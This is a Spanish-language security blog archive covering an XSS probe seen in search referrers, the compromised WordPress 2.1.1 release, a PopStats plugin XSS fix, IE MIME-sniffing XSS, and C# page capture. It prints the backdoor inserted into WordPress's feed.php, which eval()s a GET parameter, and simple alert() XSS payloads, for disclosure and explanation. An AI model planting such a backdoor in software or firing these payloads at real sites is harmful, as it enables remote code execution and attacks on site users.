Categories
CSRF Seguridad Sql Injection Web XSS

Sistemas de estadísticas Web y datos sobre las búsquedas

Your Traffic stats
Frecuencia con que reviso las estadísticas de acceso a este blog 😀 (Fuente isopixel)

Debido a que estos últimos meses en estuve comentando algunos temas relacionados sobre seguridad, ahora recibo unas cuantas visitas de gente buscando información sobre XSS, Sql Injection, CSRF, etc; entre estas visitas también hay algunos que buscan algunos exploits que siguen unos patrones determinados.

Al igual que un caso anterior, esta vez mientras revisaba las estadísticas de acceso al blog en Reinvigorate, un pequeño mensaje salió a la vista:

XSS Message

Al mirar más detenidamente la fuente de ese mensaje, ví que alguien al parecer estaba buscando(*) erróneamente servidores vulnerables o más información sobre un bug reportado por Stefan Esser en el Mes de los Bugs de PHP.

Es interesante como este tipo de búsquedas pueden ayudar a encontrar bugs de manera imprevista 🙂 .

(*) El texto que buscaban era http://www.google.com.ar/search?q=?a[]=<script>alert(/XSS/);</script>

Categories
Seguridad Web WordPress XSS

Actualización de Seguridad de WordPress

Hace unas cuantas horas me enteré de la liberación de una nueva versión de WordPress, que según el blog oficial, un cracker obtuvo acceso a uno de los servidores de wordpress.org y puso código malicioso en las versiones descargables de la versión 2.1.1.

Casualmente descargué esta versión vulnerable de WordPress, para realizar las pruebas -y algunas correcciones- de la nueva versión del plugin PopStats. El código insertado en la versión que tengo a la mano es la siguiente (feed.php):

php:

function comment_text_phpfilter($filterdata) {
        eval($filterdata);
}

...

if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

Como se puede apreciar, el código insertado es bastante peligroso puesto que permite la ejecución de código arbitrario.

Esta nueva versión, también corrige otro problemas de seguridad:

  • XSS en la parte encargada de evitar ataques de tipo CSRF.

Es recomendable que actualizen cuanto antes vuestra versión de WordPress para evitarse malos ratos.

Categories
CSRF Seguridad Web WordPress XSS

¿Usas el plugin PopStats?

Actualización: Finalmente Luis Sancho
liberó la versión 2.2.1 del plugin PopStats que principalmente corrige un problema de XSS reportado a su autor hace algunos días.

Las cosas que cambian en esta versión:

  • Corrección de vulnerabilidad XSS: problema originado por no realizar filtros adecuados al momento de guardar y mostrar los valores del referer
    y la dirección IP que envía el cliente.
  • El plugin sólo inserta código JavaScript y CSS en página de administración del plugin.
  • Arreglado problema con el evento "onload" del objeto window, ahora utiliza el modelo de eventos del DOM.
  • Protección contra ataques de tipo CSRF al momento de limpiar las estadísticas (*).

(*) Al enviar esta propuesta, introduje un bug en el plugin que hace que no se puedan limpiar las estadísticas
en la rama 2.0 de WordPress, esto fue originado por que la ubicación de la función check_admin_referer cambia entre las versiones 2.0.x
(pluggable-functions.php) y 2.1.x (pluggable.php).


Luego de haber estado usando durante un tiempo el plugin PopStats, hoy mientras revisaba las estadísticas del blog, acabo de darme cuenta que es vulnerable a ataques XSS.

Por el momento no daré los detalles de la vulnerabilidad, pero recomiendo que desactiven cuanto antes el mencionado plugin, puesto que estos valores especialmente preparados se pueden persistir en las tablas que usa para almacenar sus datos.

Categories
Internet Explorer Microsoft Seguridad Web XSS

La (in)seguridad de Internet Explorer

Este último fin de semana, mientras hacía una lectura de los sitios a los que estoy suscrito, encontré una interesantísima entrada en el que describe un bug que hace que Internet Explorer facilite los ataques XSS.

Para los que no siguieron el enlace, intentaré resumir de que trata el bug que se comenta ahí:

En teoría, cualquier documento que es servido por un (valga la redundancia) servidor web, está acompañado por una cabecera Content-type, que indica al navegador el tipo de archivo que es, en base a esto el navegador normalmente asocia una acción (interpretar el documento, pasar el control a otra aplicación o finalmente preguntar al usuario que desea hacer con ese archivo).

El caso es que Microsoft implementó algo que se denomina MIME Type Detection, donde básicamente se usan los primeros bytes de un archivo para intentar determinar el tipo o contenido del mismo, esta característica incluso está mencionado en el RFC 2616 (sección 7.2.1 Type).

Any HTTP/1.1 message containing an entity-body SHOULD include a
Content-Type header field defining the media type of that body. If
and only if the media type is not given by a Content-Type field, the
recipient MAY attempt to guess the media type via inspection of its
content and/or the name extension(s) of the URI used to identify the
resource
. If the media type remains unknown, the recipient SHOULD
treat it as type "application/octet-stream".

De la cita, se puede ver que sólo se debe usar esta característica si el servidor web NO envía el Content-type correspondiente para el documento que está enviando al cliente.

Como casi todo en la historia de Internet Explorer, Microsoft tiene su propia forma de interpretar los estándares, y es que gracias a la característica antes mencionada, un archivo de texto plano, imagen u otro tipo de documento puede ser interpretado como HTML siempre y cuando éstos incluyan contenido HTML.

Si alguien tiene Internet Explorer a la mano, puede ver que si entra a http://test.buayacorp.com/xss.txt, se mostrará el mensaje "Esto es un archivo de texto" para un archivo de texto plano que contiene lo siguiente:

code:

<script>alert("Esto es un archivo de texto")</script>

Gracias a este bug, múltiples aplicaciones o sitios que permiten subir contenidos a sus usuarios son vulnerables, entre los que se me vienen a la mente:

  • Fresqui: vulnerable
  • Menéame: al parecer no es vulnerable porque hace una conversión de formato al subir un avatar
  • ANWMP o cualquier sitio que tenga instalado Drupal y permita subir archivos: vulnerable
  • etc, etc.

No recomiendo un navegador en especial (usen Firefox! 😀 ), puesto que fácilmente podría hacer el ridículo con los últimos bugs reportados en varios navegadores.

Categories
.NET ASP.NET Internet Explorer Web Windows Forms

Capturar una página Web de manera sencilla

Por si alguien necesita una funcionalidad parecida a lo que ofrecen sitios como WebSnapr o Snap, a continuación pongo la manera de capturar una página web como imagen.

csharp:

string url = "http://www.buayacorp.com/";
using (WebBrowser navegador = new WebBrowser())
{
    // Tamaño del navegador
    navegador.Size = new Size(1024, 768);
    // Deshabilitar la barra de scroll
    navegador.ScrollBarsEnabled = false;

    // Cargar la página
    navegador.Navigate(url);

    // Esperar a que cargue completamente la página
    while (navegador.ReadyState != WebBrowserReadyState.Complete)
    {
        Application.DoEvents();
    }
    // Tamaño de la imagen a capturar
    Rectangle tamaño = new Rectangle(0, 0, 1024, 768);
    Bitmap bitmap = new Bitmap(tamaño.Width, tamaño.Height);

    // Guardar la imagen de la página con el tamaño especificado
    navegador.DrawToBitmap(bitmap, tamaño);

    // Convertir y guardar la imagen como jpg
    Bitmap thumbnail = new Bitmap(tamaño.Width, tamaño.Height);
    Graphics gfx = Graphics.FromImage(thumbnail);
    gfx.DrawImage(bitmap, tamaño, tamaño, GraphicsUnit.Pixel);

    thumbnail.Save(@"E:\demos\demo.jpg", ImageFormat.Jpeg);
}

Esa porción de código hace una captura de 1024x728 pixeles, si se quiere capturar la página completa sólo es necesario jugar con los valores de navegador.Document.Body.ClientRectangle.

Por otro lado, como seguramente saben la clase WebControl usa internamente los controles de Internet Explorer disponibles en la máquina donde se ejecuta la aplicación, así que si un sitio se ve mal con este navegador, la imagen capturada también tendrá este pequeño problema.